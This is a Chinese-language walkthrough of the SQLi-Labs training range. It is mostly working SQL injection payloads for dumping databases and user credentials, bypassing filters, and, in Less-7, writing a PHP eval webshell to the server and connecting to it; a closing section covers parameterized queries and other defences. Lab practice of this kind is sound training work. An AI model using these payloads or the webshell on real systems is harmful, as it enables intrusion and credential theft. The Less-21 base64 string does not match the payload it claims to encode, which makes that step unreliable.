SQLi-Labs 作为 Web 安全领域的经典 SQL 注入靶场,涵盖了字符型、数字型、盲注、报错注入、HTTP 头注入等几乎所有主流注入场景,是新手夯实基础、老手巩固技术的必备平台。本文将以实战为核心、原理为支撑、防御为延伸,对 SQLi-Labs 全部核心关卡进行深度拆解,不仅提供通关步骤,更解析底层逻辑与前瞻性绕过技巧,帮助读者构建完整的 SQL 注入知识体系。
一、靶场前置知识与环境准备
1. 核心原理认知
SQL 注入的本质是用户输入未被严格过滤,导致恶意 SQL 语句被拼接到后端执行。其核心依赖两个条件:一是参数可控,二是语句可拼接。根据不同的分类维度,可分为以下类型:
- 按数据类型:字符型(需引号闭合)、数字型(无需闭合);
- 按回显方式:显注(直接返回数据)、盲注(布尔盲注/时间盲注,无直接回显);
- 按注入位置:GET 注入、POST 注入、HTTP 头注入(User-Agent/Referer/Cookie);
- 按绕过方式:过滤绕过(大小写/双写/编码)、二次注入、WAF 绕过。
2. 环境搭建与工具清单
- 环境要求:PHP 5.6~7.4(高版本可能存在兼容性问题)+ MySQL 5.7(推荐)+ Apache/Nginx,可直接使用 XAMPP/WAMP 一键部署,需确保 MySQL 的
secure_file_priv配置为空(支持文件读写操作)。 - 必备工具:
- 基础工具:浏览器(用于手动测试)、Burp Suite(抓包、改包、批量测试);
- 辅助工具:蚁剑/菜刀(用于连接 webshell)、SQLMap(自动化注入,建议手动通关后再使用);
- 核心函数:
union select(联合查询)、substr()/ascii()(盲注字符提取)、sleep()(时间盲注延迟)、extractvalue()/updatexml()(报错注入)、into outfile(写入文件)。
二、基础注入关卡(Less-1~Less-10):夯实注入核心逻辑
基础关卡聚焦显注与盲注的核心技巧,是理解 SQL 注入的关键,需重点掌握「闭合方式判断」「字段数推导」「数据提取流程」三大核心能力。
1. 字符型注入:Less-1(单引号闭合)、Less-3(单引号+括号)、Less-4(双引号+括号)
核心逻辑:判断闭合方式+联合查询提数
以 Less-1 为例,目标 URL 为http://localhost/sqli-labs/Less-1/?id=1。
- 步骤1:判断注入类型与闭合方式
输入id=1',页面报错You have an error in your SQL syntax near ''1'' LIMIT 0,1',说明参数被单引号包裹,属于单引号字符型注入。
闭合思路:用单引号闭合前端引号,再用--+注释掉后端多余语句,构造合法 SQL。 - 步骤2:推导字段数
利用order by子句判断字段数:id=1' order by 3 --+ # 页面正常,说明至少3个字段 id=1' order by 4 --+ # 页面报错,说明字段数为3 - 步骤3:联合查询提取数据
由于原语句select * from users where id='1'会返回数据,需构造id=-1让原语句无结果,从而显示联合查询的内容:# 爆数据库名 id=-1' union select 1,database(),3 --+ # 结果:security # 爆当前数据库所有表名 id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ # 结果:emails,referers,uagents,users # 爆users表字段名 id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+ # 结果:id,username,password # 爆账号密码 id=-1' union select 1,group_concat(username,':',password),3 from users --+ # 结果:admin:admin,root:root等
Less-3、Less-4 的核心差异仅在于闭合方式,分别为1') --+和1") --+,后续提数逻辑完全一致。
2. 数字型注入:Less-2
核心逻辑:无需引号闭合,直接拼接语句
输入id=1 and 1=2,页面无数据;输入id=1 and 1=1,页面正常,说明属于数字型注入,参数无引号包裹。
提数语句无需引号,直接构造:
id=-1 union select 1,database(),33. 盲注关卡:Less-5~Less-10(布尔盲注+时间盲注)
盲注的核心是无回显场景下的数据提取,分为布尔盲注(通过页面真假判断)和时间盲注(通过延迟判断),是实际渗透中最常用的技巧。
(1)布尔盲注:Less-5(单引号闭合)
页面仅返回You are in...........或无内容,无数据回显,需通过条件判断逐字符提取数据。
- 步骤1:判断数据库名长度
id=1' and length(database())=8 --+ # 页面正常,说明security长度为8 - 步骤2:逐字符提取数据库名(ASCII码对比)
利用substr(str,pos,len)截取字符,ascii()转换为 ASCII 码,逐位判断:
依次推导,最终得到数据库名# 判断第一个字符是否为's'(ASCII码115) id=1' and ascii(substr(database(),1,1))=115 --+ # 页面正常,成立 # 判断第二个字符是否为'e'(ASCII码101) id=1' and ascii(substr(database(),2,1))=101 --+ # 页面正常,成立security,后续爆表、爆字段逻辑一致。
(2)时间盲注:Less-9(单引号闭合)
页面无论条件真假都返回相同内容,布尔盲注失效,需用sleep()函数制造延迟判断。
核心语句:利用if(条件,sleep(5),1),条件成立则延迟5秒:
# 判断数据库名长度是否为8 id=1' and if(length(database())=8,sleep(5),1) --+ # 页面加载5秒,成立 # 判断第一个字符ASCII码是否为115 id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+ # 页面加载5秒,成立Less-6、Less-8、Less-10 的差异仅在于闭合方式(双引号/单引号),逻辑完全复用。
4. 文件写入注入:Less-7(写入webshell)
核心逻辑:利用into outfile写入恶意代码
这是 SQL 注入的高危利用方式,需满足两个条件:一是知道网站绝对路径(如D:/xampp/htdocs/sqli-labs/),二是 MySQL 允许文件写入。
核心语句:写入 PHP 一句话木马:
id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile 'D:/xampp/htdocs/sqli-labs/shell.php' --+访问http://localhost/sqli-labs/shell.php,用蚁剑连接(密码:cmd),即可控制目标服务器。
三、进阶注入关卡(Less-11~Less-20):突破注入场景限制
进阶关卡拓展了注入位置与场景,涵盖 POST 注入、HTTP 头注入、UPDATE 注入等,重点在于「发现隐藏注入点」「适配不同场景的注入逻辑」。
1. POST 注入:Less-11~Less-16(登录框注入)
POST 注入与 GET 注入的核心逻辑一致,差异在于参数通过表单提交,需用 Burp Suite 抓包修改。
以 Less-11(POST 单引号字符型)为例:
- 步骤1:抓包定位参数
提交登录表单,Burp 抓取到 POST 数据:uname=admin&passwd=123&submit=Submit。 - 步骤2:判断注入类型
修改uname=admin',页面报错,说明uname参数为单引号字符型注入点。 - 步骤3:联合查询提数
构造语句:
页面直接返回所有账号密码,无需复杂操作。uname=-1' union select 1,group_concat(username,':',password) from users --+&passwd=123&submit=Submit
Less-12~Less-16 分别为双引号+括号、盲注等场景,抓包后修改参数即可,逻辑与 GET 注入完全一致。
2. HTTP 头注入:Less-18(User-Agent)、Less-19(Referer)、Less-20(Cookie)
HTTP 头注入的核心是注入点不在 URL/表单,而在 HTTP 请求头字段,需登录后触发后端数据库操作。
以 Less-18(User-Agent 注入)为例:
- 步骤1:登录触发请求
输入正确账号密码登录,后端会执行insert into uagents values ('$ip', '$user_agent'),其中$user_agent可控。 - 步骤2:抓包修改 User-Agent 字段
Burp 抓取登录请求,修改 User-Agent 为报错注入语句:
页面报错User-Agent: 1' and extractvalue(1,concat(0x7e,database(),0x7e)) and '1'='1XPATH syntax error: '~security~',直接泄露数据库名。
Less-19(Referer)、Less-20(Cookie)的注入逻辑一致,仅需修改对应请求头字段。
3. UPDATE 注入:Less-17(密码重置功能)
核心逻辑:找到后台数据更新的注入点
Less-17 对username参数过滤严格,但对password参数未过滤,后端执行update users set password='$passwd' where username='$uname'。
利用报错注入提数:
username=admin&password=123' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1) --+页面报错直接返回所有账号密码。
四、高级注入关卡(Less-21~Less-30):掌握过滤与绕过技巧
高级关卡的核心是过滤绕过,模拟真实环境中 WAF、后端过滤的场景,需掌握大小写绕过、双写绕过、编码绕过、特殊字符替代等核心技巧。
1. 编码绕过:Less-21(Cookie base64 编码)
核心逻辑:注入点参数经过 base64 编码,需先构造语句再编码
- 步骤1:判断注入类型
登录后 Cookie 为uname=YWRtaW4=,解码后为admin,说明uname参数经过 base64 编码。 - 步骤2:构造注入语句并编码
构造单引号+括号闭合的联合查询语句:
对语句进行 base64 编码,得到admin') union select 1,2,group_concat(username,':',password) from users --+YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCg1c2VydmVyLGc6cGFzc3dvcmQpIGZyb20gdXNlcnMgLS0r。 - 步骤3:修改 Cookie 并提交
将 Cookie 修改为uname=编码后的内容,页面直接返回数据。
2. 过滤绕过:Less-23(注释符过滤)、Less-25(and/or过滤)、Less-26(空格过滤)
(1)注释符过滤绕过(Less-23)
后端过滤了--+#等注释符,无法直接注释多余语句,需用引号闭合替代注释。
核心语句:
id=-1' union select 1,database(),'3 # 用单引号闭合后端的单引号,无需注释(2)关键词过滤绕过(Less-25:过滤 and/or)
后端过滤了andor,需用大小写绕过或双写绕过:
# 大小写绕过 id=1' And 1=1 --+ # 双写绕过 id=1' aandnd 1=1 --+(3)空格过滤绕过(Less-26:过滤空格)
后端过滤了空格,需用特殊字符替代空格,如%0a(换行符)、%09(制表符)、()(括号):
id=1')union%0aselect(1),(database()),(3)' # 用%0a替代空格3. 二次注入:Less-24
核心逻辑:存储型注入,注入语句先存储再执行
二次注入是真实场景中高发的注入类型,分为「存储恶意语句」和「触发执行」两个阶段:
- 阶段1:注册恶意账号
注册账号名为admin'#,密码为 123456,后端将账号名存储到数据库中。 - 阶段2:触发恶意语句执行
登录admin'#账号,修改密码为 654321,后端执行 SQL:UPDATE users SET password='654321' WHERE username='admin'#' AND password='123456'#注释掉后面的条件,最终修改的是admin账号的密码,实现越权操作。
4. WAF 绕过:Less-29~Less-30
核心逻辑:双层解析绕过简单 WAF
后端存在简单 WAF,过滤常规注入语句,可利用参数污染绕过,如构造id=1%00&id=1' union select 1,2,3 --+,第一层解析%00截断 WAF 的检测,第二层解析真实注入语句,从而绕过过滤。
五、前瞻性防御策略:从注入原理到安全加固
掌握 SQL 注入的最终目的是构建安全的 Web 应用,需从「前端防护」「后端核心防御」「运维监控」三个维度入手,形成完整的防御体系。
1. 核心防御手段:参数化查询(Prepared Statement)
这是防御 SQL 注入的根本手段,原理是将 SQL 语句与参数分离,参数无论输入什么内容,都不会被解析为 SQL 语句的一部分。
以 PHP 为例,使用 PDO 实现参数化查询:
// 错误写法:字符串拼接,存在注入风险$id=$_GET['id'];$sql="select * from users where id='$id'";// 正确写法:参数化查询,完全防御注入$stmt=$pdo->prepare("select * from users where id=?");$stmt->execute([$id]);2. 辅助防御手段
- 输入过滤:对用户输入的特殊字符(如
'"orand)进行转义,但需注意过滤规则的完整性,避免被绕过; - 最小权限原则:数据库连接账号仅赋予必要权限(如查询、插入),禁止赋予
root权限,即使发生注入,也能降低危害; - 禁用危险函数:禁用
into outfileload_file等危险函数,防止写入 webshell 或读取敏感文件; - WAF 部署:部署 Web 应用防火墙,拦截常见的注入语句,但需定期更新规则,应对新型绕过技巧。
3. 运维监控与应急响应
- 日志审计:开启 Web 服务器和数据库的日志功能,定期审计异常 SQL 语句;
- 实时监控:监控异常请求(如包含
union selectsleep的请求),及时发现攻击行为; - 应急响应:一旦发现注入攻击,立即隔离受影响的应用,排查漏洞并修复,同时清理恶意文件(如 webshell)。
六、总结:构建 SQL 注入的知识闭环
SQLi-Labs 的通关过程,是从「理解原理」到「实战演练」再到「防御加固」的完整闭环。新手需先手动通关所有基础关卡,掌握闭合判断、提数逻辑等核心技巧;再深入进阶关卡,拓展注入场景认知;最后结合防御策略,形成「攻防一体」的思维模式。
在真实渗透测试中,SQL 注入的核心永远是「灵活变通」——不同的系统环境、不同的过滤规则,需要不同的绕过技巧,但底层的注入原理始终不变。唯有夯实基础、举一反三,才能应对复杂多变的实战场景。